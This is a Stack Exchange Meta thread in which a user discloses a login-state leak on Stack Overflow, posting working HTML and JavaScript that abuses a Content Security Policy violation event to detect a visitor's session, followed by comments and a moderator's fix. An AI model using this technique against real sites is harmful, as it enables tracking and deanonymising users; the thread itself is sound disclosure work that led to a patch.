56

This is very similar to an issue that was recently reported:

SO should stop leaking information to other websites about whether we are logged in

However, the apparent solution of not returning any images is imperfect, and leakage is still possible. I'll demonstrate one such possible way to still get this information, but I would not be surprised if there are other techniques to leak this information (without thinking too much on it, I'm imagining one using a temporary pop-up and a dummy user account).

One way to do this is to use a Content Security Policy that allows the login page, but not the redirect target (yes, a security feature can be used to leak information, isn't it great?).

My demo code will use the SecurityPolicyViolationEvent JavaScript event, but using some server-side code it is possible to do this in browsers which do not support this event via report-uri (no JavaScript required!).

Without further ado, here is my demo code which works in Chrome. Click the link to see it in action, telling you if you are logged in or not.

Live Demo

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' stackoverflow.com;">
<title>Are you logged in to Stack Overflow?</title>
</head>
<body>
    <h1>Are you logged in to Stack Overflow?<h1>
    <h2 id="answer">...<h2>
<script>
(function() {
'use strict';
// We allow without the www, not with, so that redirect will fail.
var redir = 'http://www.stackoverflow.com';
var notTimeout;
var finished = false;
var answer = document.getElementById('answer');
window.addEventListener('securitypolicyviolation', function(e) {
    // If the CSP error is the one expected, then an active session.
    if (e.blockedURI.indexOf(redir) === 0) {
        if (notTimeout) {
            clearTimeout(notTimeout);
        }
        answer.textContent = 'Yes';
        finished = true;
    }
}, true);
function done() {
    // Wait until the CSP error that follows is fired.
    if (!finished) {
        notTimeout = setTimeout(function() {
            answer.textContent = 'No';
        }, 100);
    }
}
var img = document.createElement('img');
img.addEventListener('load', done);
img.addEventListener('error', done);
img.src =
    'https://stackoverflow.com/users/login?ssrc=head&returnurl=' +
    encodeURIComponent(redir) +
    '&_=' + Date.now();
})();
</script>
</body>
</html>

I'm not sure why, but I can't seem to get the SecurityPolicyViolationEvent in Firefox, though it is supposedly supported. This is a standard event though, so unless the spec is changed, support for this event should be expected to improve. Plus, the report-uri alternative is well-supported.

P.S. I stand by my original answer that this is basically a CSRF problem.

18
  • 4
    I disagree on the CSRF; that simply doesn't fit well with the semantics of a login url as a GET. I plan to do some more investigation in this area on Monday, in particular looking at the referrer and destination when bouncing through login, to gauge the existing legitimate usage (and in particular: how often is the user already logged in when hitting login). In our internal chat on Friday, I mused that our next step would be to simply return a 200/html if you're logged in with a "you're already logged in, click here to continue", and that is my default next step.
    – Marc Gravell Mod
    Commented Oct 15, 2016 at 19:34
  • @Marc It's not that unusual to see a security token passed via GET, take OAuth 2 for example. "CSRF" or not though, it does seem to have the same set of possible solutions. :) Those also sound like possible solutions, but I'm not sure referer and company are entirely reliable, as I believe some privacy browser extensions will either remove or falsify this value. Commented Oct 15, 2016 at 19:53
  • 4
    my mention of referrer is nothing to do with the implementation - I'm well aware of the limitations of that field. Rather, I was talking about using the logs (which may often include referrer) to gauge the legitimate uses, which influences our choice of solution. Also, I posit that oauth is not meaningful as a comparison to regular web-site semantics.
    – Marc Gravell Mod
    Commented Oct 15, 2016 at 20:02
  • It doesn't work for me, I guess because my browser sends DNT: 1?
    – cat
    Commented Oct 16, 2016 at 2:03
  • @cat Should work with or without DNT. What browser? Commented Oct 16, 2016 at 2:32
  • @AlexanderO'Mara Vivaldi (like Chromium) 1.4.589.38 (Stable channel) (64-bit).
    – cat
    Commented Oct 16, 2016 at 2:34
  • I do use Ghostery which is a "tracker-y blocking thing" but I'm not sure that would help here...?
    – cat
    Commented Oct 16, 2016 at 2:36
  • 1
    @cat Could be either not supported, or Ghostery is somehow masking it. I wasn't aware anyone else knew this technique if that is the case though. Commented Oct 16, 2016 at 2:38
  • 2
    Either already fixed, or not working for me, I get that I am not logged in...
    – arc_lupus
    Commented Oct 16, 2016 at 13:44
  • Fortunately, I use Firefox, so this exploit won't work for me, and either AdBlockPlus or one of my other security measures (like not accepting 3rd-party cookies) made yesterday's attempt invalid, so I'm happy :)
    – MattDMo
    Commented Oct 16, 2016 at 15:25
  • @arc_lupus Make sure you test with a supported browser. Commented Oct 16, 2016 at 15:25
  • 4
    Doesn't work for me. I am logged in, it says I am not. Chrome 64 bit, stable channel (53.0.2785.143, and since there was an update, I've just retried with 54.0.2840.59), on Windows 10. No strange settings like DNT as far as I know; no Ghostery, no ad blocker, nothing at all. It's even a normal (as in, not Incognito) window. Commented Oct 16, 2016 at 15:41
  • 2
    Worked for me on Chrome in Windows. Didn't work if I loaded the page, logged in then hit refresh, but as log as I login first then load your page from scratch it works. Anyway, what's the abuse potential of this?
    – Hack-R
    Commented Oct 16, 2016 at 16:22
  • 2
    @Hack-R Tracking, profiling, and targeted attacks mainly. In certain countries, certain websites are banned, and this kind of attack could be used to expose those circumventing the ban (probably not as relevant to SE). Commented Oct 16, 2016 at 16:47
  • @AlexanderO'Mara: Checked, Firefox is blocking it (after I enabled everything in NoScript and UBlock...)
    – arc_lupus
    Commented Oct 16, 2016 at 19:20

1 Answer 1

15

In the first fix, we essentially nailed down images, but indeed there are a number of other ways of abusing the automatic redirect here. The best solution for the short term, therefore, is probably to just not do that. This is something that I discussed internally as our likely "next step" when I investigated on Friday. It is of course possible that we get some other options later, but for now I've deployed a change such that the return-url is never activated automatically; instead, a 200/html page is returned that has that as an option. The second proof-of-concept no longer reports correctly (i.e. it doesn't leak info).

1
  • 1
    Looks good! Much safer than the whack-a-mole solution! :) Commented Oct 17, 2016 at 15:59

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .